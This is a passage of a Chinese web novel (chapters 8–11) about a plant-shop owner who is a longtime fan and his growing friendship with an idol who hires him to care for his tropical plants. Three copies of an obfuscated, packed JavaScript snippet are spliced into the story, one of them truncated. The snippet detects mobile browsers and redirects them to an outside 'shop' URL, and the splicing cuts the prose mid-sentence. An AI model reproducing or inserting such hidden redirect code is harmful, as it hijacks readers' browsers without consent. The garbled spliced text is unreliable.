“不要啊……简承,你这么搞我以后还怎么交男朋友。” 粉丝有很多属性,唯粉、团粉、事业粉、cp粉、梦女、妈粉、泥塑粉。 毛毛是团粉加妈粉。 温可言比较复杂,他是一体机,刷到什么看什么。 刷到梦女文好香,刷到泥塑照好美,刷到solo舞台好帅,刷到团综就宝宝们都好可爱。 什么都吃让温可言营养均衡。 手机又叮了一声。 简承:“你生气了吗?” 温房:没有没有。 简承:“我以为你生气了。” 我怎么会生你的气呢,哥哥。 温可言两只手捧着手机,认真的打着字,想跟简承解释自己只是不知道怎么和身为明星的简承相处,毕竟自己是个普通人,怕说错了话冒犯到他或者影响他的工作。 叮—— 一条新的语音。 简承:“我……只是很想跟你做朋友。” 8. 第 8 章 温可言听了好几遍,也只能对着手机无能狂怒:“你缺朋友吗?!” 作为光合作用组合里年纪最大、最早出来跑外务的简承,早早就结识了很多圈内的朋友。有同学也有前辈。 除此之外,组合里四个人关系都非常好,有事没事他们就聚。 难道毒唯和黑粉发的“男团学”是真的? 身为团粉的温可言想到这个,有些碎掉了。 温房:你朋友应该很多吧。 温可言试探着回消息问问。 简承:“挺多的,但都是同行,基本没有同行以外的朋友,更没有懂热植的朋友。” 这倒是实话,温可言松了口气。 想着他公开的时候都没有成年,私生活早早曝光在镜头下,确实没有什么机会交娱乐圈以外的朋友。 温房:哈哈那好吧。 简承:“温老板,你是不是不太想跟我说话?” 简承:“我看你平时回复花友们都很热情很可爱的。” 哪有…… 简承:“我不是你的花友么?” 温可言听完立刻怂了。 温房:当然是,我没有那个意思。 温房:[流汗/] 简承:“那就好,明天麻烦你了,我的花友。” 次日温可言照例出发去简承家,今天是周六,进城的路上有点堵,整整开了两个多小时才到,到小区门口的时候温可言放慢速度降下车窗,准备和保安亭的人打招呼让他们开门,没想到刚靠近闸口栏杆就自动打开了。 应该是上次来过之后简承让物业把车牌号录了进去。 温可言像上次那样停好车子,拖着一车的盆和土到了停车场门禁处,给简承发消息叫他开门。 消息刚发出去,简承就打了个语音过来。 温可言接下,“喂?简先生?” “啊我是他助理,他在工作就把手机给我了。”电话那头男人的声音听着有种莫名的雀跃,“你好呀,我叫陈海锋,你到车库门口了吗?” 是你啊海锋!那个敢跟私生打架进局子的陈海锋! 温可言的声音也不自觉雀跃一些,“对啊,我在车库电梯间门口。” “好,等我三秒钟。”陈海锋说。 很快咔哒一声,门禁开了,温可言说谢谢。 陈海锋:“不谢不谢,应该的,谢谢你帮简哥养护啊,太感谢了。” 温可言眨眨眼,怎么感觉陈海锋对自己这么热情? “不客气,那我先去忙了。” 今天要换盆和浇水,温可言照例铺上塑料布避免地板弄脏,这些事情温可言已经重复地做了好多年,动作熟练快速,只是一百多盆热植要一个个的浇水,是个耗时间的力气活。 门铃响起来的时候温可言浇水浇得都有点麻木了,很自然地说了声“来了”就跑过去开门。 物业管家Andy带着他标志性的笑容出现在眼前,温可言才反应过来这不是自己家大棚。 “先生您好,又见面了,这是简先生给您点的外卖。” “谢谢哦。” “祝您用餐愉快,再见。” 温可言双手捧着个四方形盒子外卖,笑笑,“拜拜。” 是刺身,温可言坐在茶几旁愁思,他不爱吃生鱼片,准确来说温可言不爱吃一切生的东西,包括生菜。 但都送过来了,只能硬着头皮吃一点。 “哇……滑溜溜的好腻。” 简承点开监控的时候看到的就是这个画面,温可言吃一口哀嚎一声,再嚼吧嚼吧吞下去。 助理陈海锋弄了盒果盘端过来,随口说:“还行吧今天的盒饭。” 简承:“比刺身好。” 陈海锋:“……哥,你说要点贵的。” 他手上还包着纱布,已经能用右手拿筷子了,这个剧的导演作风严格要求高,但也讲规矩,拍戏时间很人性化演员都能保证休息时间。 这样简承每天收工还能一边背台词一边看温可言的热植小课堂。 这个直播温可言准备了挺久的,虽然有现成的教学资料,知识点自己也熟记于心,但花友不是专业的也没有耐心真的学那么专业的原理知识。 温可言总结了比较受欢迎的几类热植的养护知识,尽量简化和日常化。 十二月,全国都大幅度降温了,直播间里没有能售卖的热植,只有补光灯和专用配土之类的工具链接。 [哇真的有课啊?] [一个品都没有吗今天,深圳还热着呢不能发吗?] 温可言看着直播间里不到三十人的人数,暗自捏紧了拳头,说好都来听课的呢! “但是我们基地已经冷了,发出去还是会冻伤的。后面?哦这盆是pp蔓绿绒,对,不是领带。” [这棵卖不卖?] [想看看,养多久能这么大啊?] 温可言起身让开,调整直播镜头让观众看。 将心比心wz 来了 (9粉丝团)别问了在加班分享了直播间 (19粉丝团)momo 来了 温可言去展示植物就没有看手机弹幕,“太大了不方便拿下来,上次量的时候最长的一片就有一米一了,给你们对比一下。” 温可言伸长手臂去和叶片对比,但这株pp蔓绿绒是挂墙养的,温可言垫起脚也够不到叶片根部,只能试试对比给观众感受一下它有多大多长。 “这株养了三年多了,之前是放在大棚里的,来大棚参观过的应该都见过,在藤编椅的那里。” 温可言一边说着一边坐回来,凑到镜头旁看弹幕。 (19粉丝团)momo 送出童话木马 (19粉丝团)momo 送出心愿时光机 (19粉丝团)momo 送出王牌应援 [我去什么情况?!!] [啥意思……] [momo大佬是没东西买想花钱了么] [能嗑吗?] [不是我们想的那个意思吧?] 温可言一条条看下来慌得心脏狂跳,只能尴尬傻笑一声,默默撤出镜头拿出手机给简承发消息。 温房:为什么又送礼物? 发完温可言回到镜头前,“咳,那个要不就开始讲课吧。” [你脸红什么?!!!] “没有。”温可言下意识反驳,视线转移一顿乱看,“是灯光,大棚里有补光灯的。” [咋花烛还要照红光消炎吗主包] [我去了好好笑] 弹幕越说,温可言的脸就越红。 (19粉丝团)momo 送出应援气球 (19粉丝团)momo 送出好戏开场 简承送出的虚拟礼物都是价格比较贵的,每送出一个礼物都会有华丽的特效出现在直播间里,让人不看都难。 温可言哎呀一声,“怎么又送了。” 说完着急地拿起手机看微信。 简承刚回的消息。 。:听课的报名费。 “不要报名费……”温可言小声吐槽,手指飞快地给他回消息:太贵了不要破费好吗? 还不忘补一句:平台会扣50%的! 。:好。 发完消息,温可言一抬头,简承又送了一个礼物。 (19粉丝团)momo 送出爱你丫 温可言:“……” 。:这个便宜,1个币。 [?] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344921|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [什么意思主播跟momo大佬在私聊吗?] [不是说momo很神秘不聊天吗] [我看他很火热,他的钱包也很火热,猪包也是私聊上了不讲课了] [momo就这样送礼物但是不说话] [说了,只是私联] [错字,私聊] [不行了我真嗑了] 看到私联这两个字的时候温可言有点微微死掉了。 “不是你们想的那样,”温可言一脑门子汗,但是又不能把实情说出来,只能干巴巴地解释,“是花友呀,跟你们一样,我和你们都是花友。” [那我们也要刷礼物吗?] (8粉丝团)可能是雨天送出爱你丫 (2粉丝团)Timmy馨送出爱你丫 (11粉丝团)陈嘉俊我老公送出爱你丫 直播间里的观众看热闹不嫌事大,温可言越说他们越来劲。 “好了不闲聊了,开始讲课吧。” 温可言把准备好的图片放好,又拿了三盆不一样的热植出来,“这里分别是黑水晶花烛,橙柄锦蔓绿绒和秋刀鱼海棠,这三个品类里最好养的是……” 直播间的人不多,开始讲课之后就没有什么人调戏温可言了。 温可言直播了一个小时,一边讲一边拿着样本示范,没有东西卖就抽奖送运营之前定做的热植款式擦手帕。 下了播,温可言收拾东西准备回家,简承发微信来。 。:抽了两次都没有抽到我。 温房:什么? 。:擦手帕。 温可言一扭头,角落里两大箱,他回消息:你喜欢的话周末去你家我给你带。 。:谢谢。 。:可以拜托你再帮我个忙吗? 温房:什么忙? 下一秒,简承的语音就打了过来。 “喂?”温可言接通。 消息发多了温可言开始觉得打个电话也没什么。 “有没有打扰你?”简承声音慵懒,“但我的手打字太慢了。” “啊……你的手有好一些吗?”温可言问。 “好了一点点,但动起来还是会痛。”简承那边有书本翻页的窸窣声,他发出一声轻叹,像是躺下了,“我之前订的设备寄到物业了,周末你过去的时候可以帮我接收一下吗?” “好啊,这个没问题。” “谢谢,你的小课堂要开多少天呢?” 已经是晚上十点多,基地里静悄悄的,直播间里只有温可言一个人,电话里传来的每个字都会在房间里回荡。 简承熟稔的语气与日常的话题让温可言觉得自在。 “我打算连讲五天,结束之后就停播了,年后再开播。” “啊,那我要缺课了。”简承说:“连着几天夜戏,然后请假拍一组片子,回来就要去录元旦晚会了。” 温可言眼睛一亮,“元旦晚会?” 简承:“嗯,跟我的组合成员一起。” “哇。”温可言听到要合体,语气都变得轻快一些,“没关系呀,我可以把课件发给你,有时间你再看。” 简承:“看不懂。” 温可言:“啊?” 接着电话那头传来一声轻笑,“看不懂的地方可以问你吗?温老师。” 叫老师好奇怪。 温可言憨憨笑一声,“当然可以。” 简承:“谢谢,上次的巧克力你还喜欢吗?” “喜欢的。”温可言不能暴露自己收藏巧克力的事,“我最喜欢吃黑巧了。” “哦?” “嗯!” 简承声音里带着笑意,小声说:“温老师,注意保质期,元旦回来再给你带。” 9. 第 9 章 结束聊天之后温可言立刻给毛思敏发消息,告诉她元旦晚会光合作用会同台。 毛思敏刚洗完澡在护肤,打了个语音过来。 “真的假的?” “真的!”而且今年就录上南电视台。 毛思敏最近一直关注着呢,不太信温可言的消息,“你怎么知道的?我都没收到消息呢,票务也说不确定,而且好像蓝台那边名单里有陈嘉俊呢。” “我……”温可言着急了,“反正就是真的,我有个新朋友是业内人员。” 毛思敏呵呵一声,“大冬天你又花粉过敏啦,你整天在大棚里上哪儿认识的业内人员啊。” 温可言又不能说,只能哎呀一声说:“我马上就找票务买票,真的有合体。” “你今天怎么了?”毛思敏啪啪啪地往脸上拍精华水,有些疑惑:“你以前除了会上大麦猫眼抢一下,别的都不懂的呀。” 温可言力竭道:“真的,你信我。” 毛思敏,“行行行,那你买多少钱我转你。” 很快票务就回消息了,可能是因为名单录制名单还没有出来,票务报价很便宜,温可言赶紧转钱买了两张。 “哎呀。”温可言美滋滋地开车回家,“就这样不知不觉套到了行程。” 当朋友还是有很多好处的。 买完票过了三天,电视台的录制名单出来,光合作用真的合体表演。 毛思敏高兴得连发了三个大拇指,并且问他要人脉姐的联系方式。 温可言:保密! 简承说会很忙,就真的一点消息也没有。 热植小课堂开播的时候还会有人在弹幕上问,温可言装傻说不知道。 大棚里的工作每天都差不多,原本温可言的生活也每天都差不多。 但简承出现了。 其实在简承这样彻底断了联系的日子里,温可言还有些莫名的吃味。 不是你非要做朋友的么?温可言想。 趁着冬季没什么东西卖,温可言和秦烟趁着天气好的时候把棚里品相比较好的一些父母本拿出来拍照。 “这些不卖的也拍吗?”秦烟把灯架好。 温可言正在调参数,嗯了一声,说:“留着当资料呀,万一哪天它们死了还能知道它们原本长这样。” “也是。”秦烟凑过来看镜头,“之前UU家也出过这个问题,杂交太多代了找不到初始父母本,这样也挺麻烦的。” 基地摄影棚挺大,很早之前是一间仓库,温可言租下来做成摄影棚和电商部。 父母经营的是传统的线下生意,基本就是依赖着花鸟市场和门店和熟客介绍来运行。是温可言一手搭建了电商渠道,不但把热植做了起来,连爸妈的传统花木也做好了。 现在说起生意好像都挺顺利,没有什么大的波折。 但当初把家里存款都拿出来做新版块的生意这件事,对还在上大学的温可言来说压力极大。 同学们都还在玩在学习的时候,温可言就已经在帮着爸妈到处跑市场做运营了。一到寒暑假,温可言就拎着行李箱去同行的大棚里实习打工。 遥远陌生的地方,温可言在小小的房间里看和他们有关的物料,期盼着周边早早发货。 大二那年温可言在父母的支持下,正式把热植板块分离出来并且扩大规模,招兵买马做育种培植。 光合作用就是在那个时候分开活动的。 当时四人都完成了与前公司的合约时长,出道已经五年的组合也在人气下滑期了,按理说这种情况应该会和平解约。但当时的经纪公司后续的资源青黄不接,想要在四人身上敲一笔,大概是没谈拢,公司拿版权来做威胁。 出道时还是个半大小孩的他们不太懂这些,组合里除了简承其他三个都是普通家庭,没有人能给他们考虑这么远,那五年里五张专辑的版权是在公司手里的。 因为这个,在解约各自活动后,他们没有再合体开过演唱会。 “这歌儿叫什么来着?”秦烟摆弄着一株粉脉花烛的叶片,合适后退出,“听得多我都会唱了。” 温可言在看显示屏里刚刚拍的,头也不抬地说:“叫《绝不坦白》,很早期的歌了。” “怎么没听他们唱过呢?”秦烟问,“也经常看他们合体上晚会什么的。” 温可言叹口气,再次举起相机,说:“没版权吧。” 路人不懂这些弯弯绕绕,也不怎么感兴趣,哦了一声,聊别的话题:“新账号想好什么时候启动了吗?” 温可言还没有想清楚,“还不知道呢。” 周末温可言第三次上门养护简承的热植,帮他收了个快递。 今天他在忙,是陈海锋回的消息。 陈海锋一直在问温可言喜欢吃什么,温可言说不吃很快就走了,陈海锋说不行必须要吃,温可言说你怎么了。 陈海锋又问:“你想吃什么?” 后面反应过来可能是简承的交代,温可言只好说:那点杯咖啡吧。 简承已经很久没有私下来找自己聊天了,网上的路透也很少。 想到他手受伤了,还要连着拍很多天的大夜戏,说实话身为十年老粉担心一下很正常。那身为列表里的好友,还是常年光顾生意的花友,主动问一下也很正常吧。 “我又不是私生!”温可言给自己壮胆。 趁着咖啡送过来,温可言拍了张照片发过去表示感谢。 。:不客气哟。 温房:那个,简先生最近是不是很忙啊? 。:是的哟。 。:[图片] ——简承裹着棉被一样的长款羽绒服睡在一张折叠椅上。 就这样发过来了吗? 温房:哈哈知道啦。 在简承家里忙完,温可言赶紧回家,去爸妈的花棚里帮忙。 快要过年了,要准备在过年期间售卖的花。 虽然爸妈经营的绿植和花有两个大棚,但工人还没有热植大棚里的多,他们还是以线下为主,传统的盆栽养护比热植简单不少。 温可言正在用包胶铝丝给蝴蝶兰塑形,“爸,姑姑今年来跟我们过年吗?” “还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344922|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有问呢,等我这两天打个电话问一下。”爸爸说。 江雯女士:“我来问。” 说完,江雯女士忽然想到什么,转头跟温可言说:“儿子,前天我带你小外婆去你表姐的医院检查,她不是消化不好嘛。检查完你表姐给我指了个同事,说也是gay,跟你差不多大,要不要介绍给你认识呀。” 温可言:“哎哟不是说不会催我嘛。” “不催不催。”江雯女士忙解释,“妈就是有点可惜呀,你这么大好年华貌美如花的,恋爱也不谈,再过两年跟你欧巴一样成老处男了。” 爸爸在旁边哈哈大笑,温可言哀嚎着:“妈!!我真求你了!” 江雯女士:“就是这样的呀,他当偶像有职业操守要守身如玉,你又不是咯。妈妈跟你讲,有机会一定要抓住呀,谈恋爱很有意思的。” “说得好像你谈过很多一样。”温可言笑。 爸妈是彼此初恋,可以说是一见钟情奋不顾身,当时外婆说不愿意妈妈嫁到外地,老爸收到电话第二天就坐火车来上南市了。 江雯女士很骄傲地说:“谈了一个,但是谈很多年呀。” 温可言看了看他们俩,这倒是真的。爸妈是他见过所有夫妻里感情最好的,他们一家人穷过累过,欠债过生病过,但感情没坏过。 小时候还偶尔听邻居朋友说些闲话,说妈妈嫁个穷小子,说爸爸是个倒插门。如今他们生活越来越好,便没有人再讲闲话。 一家人加班到九点多,一起去吃了点宵夜才回家休息睡觉。 简承依旧没有什么消息,温可言也不可能去打扰他。等到了要去养护的那天温可言才提前一晚给他发消息,说明天下午有事,会上午过去养护。 发消息的时候很晚了,简承没有回,等温可言睡醒看到他回了个“好”。 今天要把他家里的补光灯换一换,弄完中午去跟毛思敏汇合,因为今天要去看元旦晚会的录制。 上南市的气温已经降到三四度了,温可言停好车之后套上厚厚的羽绒服,下车之前先给毛思敏打电话叫她起床。 叫毛思敏起床嘛,提前两个小时刚刚好。 温可言套上羽绒服拖着工具车站在电梯间门口,简承还是没有回消息。 “哎呀,没办法我也赶时间。” 这时候有人推开了电梯间的门,一位男士走了出来,看温可言带着拖车,还好心地帮他拉着门。 “谢谢。”温可言说。 对方点点头没说什么,转身走了。 这还是温可言第一次碰到简承的邻居。 温可言上到十二楼,熟练的套上鞋套输密码:1477—— 咔哒一声,门开了。 简承站在门内,他戴着黑框眼镜穿着睡衣,丝质的睡衣微微透出他上半身薄肌的轮廓。 “温老师?” “啊……” 温可言猛地低下头。 简承嘴角微微上扬,弯腰把那双被第一次上门的温可言放到一边的新拖鞋拿起来放在他面前。 “请进,温老师。” 10. 第 10 章 温可言脚上还套着蓝色的鞋套,一时间不知道该怎么面对这个局面。 这十年来网络上所有的简承“女友视角”都不如这一幕来的震撼,低着头的温可言甚至能闻到简承身上淡淡的香水味。 ——网传简承用骚男香竟然是真的! “嗯?”简承微微偏头,想看温可言的表情但只看得到一个圆圆的头顶,“怎么了吗?” 温可言缓缓抬头,尽全力挤出一个相对淡定的温和笑容:“你怎么在这儿啊?” 简承微微愣住,随后笑着说:“来这儿睡觉。” “不……不是。”温可言大囧,解释说:“我其实想问你什么时候回来的。” 说完又害臊地低头,“不好意思。” “三天前回来的,回来排练。”简承说完,特地侧身让出位置,“先进来好吗?温老师。” 简承只穿了薄薄的真丝睡衣,微微耸了耸肩,“开着门有点冷。” 温可言忙抬脚进门,“啊不好意思。” “换鞋吧。”简承又上前拦住他,“这拖鞋就是给你准备的。” 温可言:“我吗?” 简承嗯了一声,“不像么?” 温可言没说话,耳朵已经红透了。 “难道身为温老师粉丝的我,给温老师准备一双拖鞋很奇怪吗?”简承的视线跟随温可言的手部动作,接着说:“我也是纠结了很久才厚脸皮来找你帮忙的。” 简承弯腰,看到温可言手里拿着脱下来的一次性鞋套:“给我吧。” “不用!” 温可言猛地起身,额前碎发轻轻扫过正在弯腰的简承下巴,有点痒,简承轻轻舔唇再次伸出手:“我拿去丢掉。” 温可言微微后撤,“我丢就好了,我知道垃圾桶在哪里。” 说罢温可言小猫儿一样从简承与玄关柜之间的缝隙里滑过去,小跑的时候拖鞋发出哒哒声响,在这个空荡的房子里回荡。 温可言把鞋套扔进茶几旁的垃圾桶,回过身看的时候简承正在把他的小拖车拉进来。 温可言大惊,“放着我来——” “啊?”简承吓了一下,随后反应过来终于没忍住笑出声。 “我不可以碰吗?” 温可言忙走过去,“都是些干活的工具,很脏很重的。” “温老师,我不是豌豆公主。”简承说。 “反正我来。”温可言对简承笑了一下,伸手去抓小拖车的拖把。 他以为简承会松开手的,但是简承没有。 触碰到简承手背的瞬间,温可言像触电一样立刻把手缩回来,他心乱如麻,抬眼去看简承,怕他介意。 “干嘛。”简承轻笑。 他柔顺的头发散落在鼻梁上方,他漂亮的眼睛笑得弯弯,他微笑时轻轻抿着的嘴唇。 以及对视时莫名其妙的氛围。 干什么呀简承!把人家的心搞得又慌又乱还在这里笑!! “走了。”简承拖着温可言的露营小拖车往客厅走,“关一下门。” 温可言贴着玄关站得笔直,直到简承走远了他才松口气,抬手摸摸自己的心脏。 温可言把门关上,磨磨蹭蹭地走回客厅。简承正好倒了水回来,“温老师喝水。” “哦哦。”温可言伸手,却又担心碰到简承。 这么些年可没少看到那种私生粉丝举着手机故意贴近爱豆、想要肢体接触的视频。 想了想直接手掌向上摊开,“放吧。” 简承哭笑不得,“不。” “啊?”温可言愣住。 “你很讨厌我吗?” “不是不是。” “那你……很怕我?” 温可言微微后撤,“也不是。” 简承:“那我真的不太明白,你为什么总是很刻意的和我保持距离。” “啊……”温可言心虚地笑了下,“没有吧。” “这样很奇怪呀你不觉得吗?很难不让我多想,你是不是讨厌我或者别的什么。”简承一边说一边观察温可言的表情,看他眉头动了动,又轻轻咬了下嘴唇。 简承再次把水杯递过去,“温老师。” 温可言只好伸手接下水杯,没有触碰。 但心里总忍不住地去想,简承不是温柔大哥哥人设吗?不是很稳重吗?怎么现在觉得他讲话步步紧逼很有压迫感。 就这样压迫一个老实本分的小农民。 温可言喝一口水,“谢谢啊。” 简承看起来一切自如,在沙发上坐下,撸了一把额前的碎发,看起来有些疲惫。 “简先生,其实你回来了的话可以跟我说的,这样我就不会过来了。”温可言跟过去,把喝过的水杯放在茶几上:“现在植物们都挺好的,该上肥的我也弄过了,你浇水就可以。” 简承嗯了一声,“温老师你坐。” 温可言站得挺远,“不用了,我……把活儿干完就走。” “不是说让我自己浇水就可以了吗?”简承起身。 “正好今天带了新的补光灯过来,顺便装一下。”温可言看简承走过来,一边说着一边往后走,一路走到小拖车旁,“你家补光灯太少了。” 简承跟过来:“嗯,一开始没想养这么多的。” “是么。”温可言拿出几个长方体大盒子,“没事,我给你装上。” 简承微微眯眼,看着温可言拆包装。 他发现不管自己说什么话题,温可言都不会延伸,只想快点结束。 不是小剪刀吗? “我要做早餐了,温老师你吃过了吗?” “吃过了!” 温可言手里的动作不停,余光看着简承进了卧室,套了件针织外套出来,又去了厨房。 “呼——”温可言起身,把带来的四根补光灯拿到摆放热植的区域,想着怎么装好看一些。 补光灯有各种形状的,温可言从仓库里拿的是长条灯,这种灯最好就是装在热植柜顶上,没有热植柜的话就从房顶打个吊顶吊着,这样比较美观。 简承家里只有两个落地款台灯款的补光灯,说实话完全不够一百多盆热植用,尤其是在阴雨绵绵的上南市冬季。 温可言在心里盘算着怎么装能更大幅度的给热植们补光。 “怎么了?” 温可言吓了一跳,不知道简承什么时候端着盘子过来了。简承拿着个西红柿在吃。 “没什么,想怎么装灯呢。”温可言说着,视线不自觉地往盘子里扫。 简承咬了一口西红柿,“今晚要录制元旦晚会了,怕水肿。” “哦……”温可言微微皱眉。 虽然一直不喜欢粉圈的虐粉文化,但真的看到这么大一个人早餐就吃一个西红柿,温可言还是妈粉心态泛滥。 好可怜啊。 “最近真的好累。”简承忽然说。 温可言转头看他,简承靠坐在沙发背上,西红柿已经吃完了。 简承双手交叉在胸前,讲话也有气没力的,“这半年都在拍戏,很久没有练舞了跳得特别烂,差点被队友打一顿。” “今晚是唱跳舞台吗?”温可言眼睛亮亮的。 “嗯。”简承点头,“之前解约之后我们团的作品版权都被老东家扣下了,今年陆续收回来一点。温老师不追我们这种男团可能不知道,粉丝最喜欢看的是还是唱跳舞台。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344923|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我可太知道了,温可言开心得低头偷偷笑。 简承:“温老师想去看元旦晚会录制吗?有兴趣的话我可以安排。” “不不我有……”温可言刹车,“有事情,今晚。” “哦。”简承应声,又问:“灯要怎么装?” 温可言把刚刚的想法跟简承说了,说到热植的事情温可言自在很多,“其实这么多热植可以好好规划一下的,做个温房。” “温房?”简承忽然接话,“你的微信名。” 温可言:“……” “其实也不算温房,做个大的热植柜把热植都放进去,这样方便养护,而且把热植都堆在一起可以让它们自己有一个生态的循环。简先生?” 简承回过神来,低头后又抬头,“你继续说。” 温可言:“我说完了。” “嗯,其实我不太懂。” “好吧。” “你可以帮我做吗?” 简承起身走到一株橙柄锦旁,“你知道的,做我这行这里跑那里跑经常不在家,如果有了这个温房它们就不会因为我经常不在家死掉了。” 温可言看向这一百多盆热植,“确实,你把它们养得好差。” 简承:“……” “那我想想怎么弄,你想好灯怎么装了吗?”温可言问。 “让物业来在顶上打个洞装挂钩。” 温可言满意点头,“可以的,那我赶紧浇水。” “不用。”简承看着温可言,“我来浇就好了。” 温可言:“那我不白来了吗?” “不白来。”简承靠近温可言,带着那股带着梅子和巧克力的香说:“都怪我没有说清楚。” 温可言微微低头,脸很烫,“我不是这个意思。” “其实我很想请你吃个饭。”简承说,“但是一会儿就要出发去准备录制了。” 温可言立刻说:“没关系,我也有事。” 说完温可言就开始收拾他的小拖车。 五分钟后,温可言已经在玄关站着了,“简先生,我走了。” 简承站在他面前,看他这么着急的样子在心里暗笑,“等我一下。” 简承去客厅拿了个礼袋过来,“新的巧克力。” 见温可言要拒绝,他立刻补充:“请让我回一点点礼,好吗?” “好,谢谢。”温可言接下,“我走了,再见。” 简承看着关上的电梯门,以及地面上残留的一点点土渣,“晚上见。” 比预想离开的时间早一些,温可言开车去找毛思敏,毛思敏刚起床被抓个正着,嘿嘿笑着说给温可言点好吃的外卖。 等毛思敏化完妆,两人出去吃了个饭再坐地铁到晚会现场已经快六点钟了,赶紧去检票。 “我去人真的好多。”毛思敏指了指前面的几个女孩,“看,同担。” 温可言看到她们的包上挂着以前演唱会的应援物。 毛思敏:“什么时候才能再看演唱会呀,再不开他们都老了跳不动了。” 温可言:“可能今晚就跳呢?” “想看他们跳自己的歌。”毛思敏说。 来到了检票口,毛思敏把身份证放上去。 “不好意思,这显示没有票哦。”检票员说。 “不可能的呀。” 温可言把自己身份证递过去,“这个呢?” 依旧显示没票。 工作人员:“要不你们自己检查一下订单?” 毛思敏把温可言拉到一边,“我有个不祥的预感。” 温可言赶紧点开票务的微信,发了个“在吗”。 没有回复,只有红色感叹号。 11.第 11 章 温可言和毛思敏你看我我看你,垂着脑袋从检票口走出来,在旁边的台阶坐下。 “不是说被骗钱是追星的第一课吗?” 毛思敏看着温可言,“你怎么一课又一课,十年了都没毕业。” 温可言小声哀嚎着,“这票务以前买过的呀,怎么会这样。” “肯定是名单出来之后涨价,就直接把你鸽了。”毛思敏说。 温可言:“他跟我说要补钱我都会答应的!” 毛思敏:“喂!你也太没出息了吧!把他号给我。” “哦。”温可言在手机上翻找他票务在各个平台上的号,“他怎么闲鱼号都没了?!” 毛思敏凑过来看,用自己的手机搜索票务的名字,才发现这个票务早就被挂烂了。 在两人在光合作用没有合体演出的日子里,连票务都变了。 “都怪你们!”毛思敏气得给痛包里的棉花娃娃一拳,“一年才等到合体一次,还看不成!气死我了气死我了!” 温可言愧疚地看着毛思敏,都是因为自己没有好好做功课就买票才变成这样的,或者提前一天找票务核实信息,这样就算被骗了也还能再做准备。 “对不起啊毛毛。” 毛思敏:“唉也不怪你,当时你说的时候我应该主动买票的。我现在找一下列表里的票务,看看还能不能进去。给我拿瓶水。” “好。”温可言打开包包拿水,在包里看到简承送的巧克力,想了想拿出来拆开递给毛思敏,“毛毛,吃巧克力。” “哦,哪儿来的?” “简承送的。” 毛思敏哈哈笑,“好了好了,真的不是生你的气。” 温可言也笑,他知道毛思敏不会信,顺着话题逗她:“真的,没骗你,我今天从简承家里出来的。” “温可言。”毛思敏上下打量他,“今天的人设是梦男啊?你别说,你长成这样配简哥完全没问题。” 温可言笑,把打开的水递给她:“喏,喝水。” 毛思敏:“嘿嘿,谢谢嫂子。” 在列表里问了一圈,都没有票了。 “唉,也没办法,今天的阵容确实不容易剩票。”毛思敏把包包放在膝盖上,“昨天还刷到彩排路透,说是唱跳舞台呢。” 温可言小口咬下一块巧克力,这次送的是PUYRICARD的牛奶坚果巧克力,江雯女士给他买过。 巧克力和榛子的香味在口腔蔓延,温可言看着失望的毛思敏动了点心思,要不……真的问简承要两张票? 早上他还问自己想不想去看。 就说是自己的朋友正好在附近,想去凑凑热闹,反正今晚那么多明星随便说是其中一个的粉丝就好。但是这样说会不会显得自己太随意了,而且距离演出开始只剩不到半个小时了。 “可是毛毛也很重要啊!”温可言在心里想着,自己给自己鼓鼓劲,从包里拿出了手机。 “啊?” “怎么了……”毛思敏下意识凑过来看手机屏幕,没想到温可言一下子就挡住了,“什么啊。” 温可言有些紧张,“简哥发消息来了。” 毛思敏嫌弃地嘁了一声,说:“不给看就算咯,我也没有很想看。” “我一会儿跟你解释好不好。”温可言说完,点开聊天框。 。:温老师,你来看跨年晚会了吗? 。:我助理刚刚说在体育馆外面看到你了,是不是出什么事了? 温可言立刻警觉地四处张望寻找张海峰的身影,但场馆外到处都是人,天也快黑了,没看到人。温可言看到他主动发来的消息,忽然心里轻松了很多。 温房:被票务鸽了…… 温房:[可怜/] 。:好惨。 温可言瘪嘴,什么意思啊…… 。:你稍等一下,我找人去接你。 温可言又立刻笑出来,心想:“算你知恩图报。” 亲爱的偶像,热植柜什么的就交给我吧! 温房:我和朋友在一起,有两个人可以吗?其实是我朋友很喜欢裴诗琳老师,特地来看她的。 。:是么? 。:当然没问题。 “呼——”温可言松了口气,一转头看到毛思敏还在找票务,忙拍拍她:“毛毛,你看着我。” “什么。”毛思敏应了一声,又按下语音键说:“我这是两个人能带吗?确定能进去不大概是在什么位置多少——” 温可言轻轻抢过她的手机,“毛毛,别找了,准备准备入场了。” “啊?”毛思敏看他一脸认真,开始怀疑他不是在开玩笑了,“票务回你了?” 温可言:“简承回我了。” 毛思敏:“你看着不像在开玩笑。” “我知道这说出来很难以置信,但我确实在一个月前认识了简哥,他是我店里的大客户买了非常多东西,就在他去四川拍戏之前来找我,让我在他拍戏期间去他家里养护热植。” 